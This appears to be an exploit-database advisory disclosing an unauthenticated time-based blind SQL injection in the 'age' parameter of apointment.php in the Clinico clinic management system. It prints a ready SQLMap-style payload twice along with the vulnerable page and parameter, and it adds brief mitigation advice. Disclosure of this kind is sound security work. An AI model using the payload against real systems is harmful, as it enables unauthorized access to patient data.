Clinic Management System Unauthenticated Blind SQL Injection (apointment.php age) Vulnerability

vendor:

Clinico – Clinic Management System

by:

Yakir Wizman

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: Clinico – Clinic Management System

Affected Version From: All Versions

Affected Version To: All Versions

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Apache | PHP 5.5.36 | MySQL 5.6.30

2016

Clinic Management System Unauthenticated Blind SQL Injection (apointment.php age) Vulnerability

No authentication (login) is required to exploit this vulnerability. Blind SQL Injection Proof-Of-Concept (Using SQLMap) URL example: http://server/apointment.php Page: apointment.php Parameter: age (POST) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: ame=Test&age=24’ AND SLEEP(5) AND 'dQNv'='dQNv&sex=on&mobile=+972-50-7655443&email=test@gmail.com&date=07/12/2016&btext=Test

Mitigation:

Input validation, parameterized queries, and stored procedures should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

####
# Vulnerability Title 	: Clinic Management System Unauthenticated Blind SQL Injection (apointment.php age) Vulnerability 
# Date 			: 11/07/2016
# Exploit Author 	: Yakir Wizman
# Vendor Homepage 	: http://rexbd.net/software/clinic-management-system
# Version		: All Versions
# Tested on		: Apache | PHP 5.5.36 | MySQL 5.6.30
####

####
# Vendor Software Description:
# Clinico – Clinic Management System is powerful, flexible, and easy to use responsive platform.
# The system has control for all system modules thats enables you to develop your organization billing system and improve its effectiveness and quality.
####

# No authentication (login) is required to exploit this vulnerability.
# Blind SQL Injection Proof-Of-Concept (Using SQLMap)
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# URL example	: http://server/apointment.php
#
# Page		: apointment.php
# Parameter	: age (POST)
#    Type	: AND/OR time-based blind
#    Title	: MySQL >= 5.0.12 AND time-based blind
#    Payload	: ame=Test&age=24’ AND SLEEP(5) AND 'dQNv'='dQNv&sex=on&mobile=+972-50-7655443&email=test@gmail.com&date=07/12/2016&btext=Test
# 
####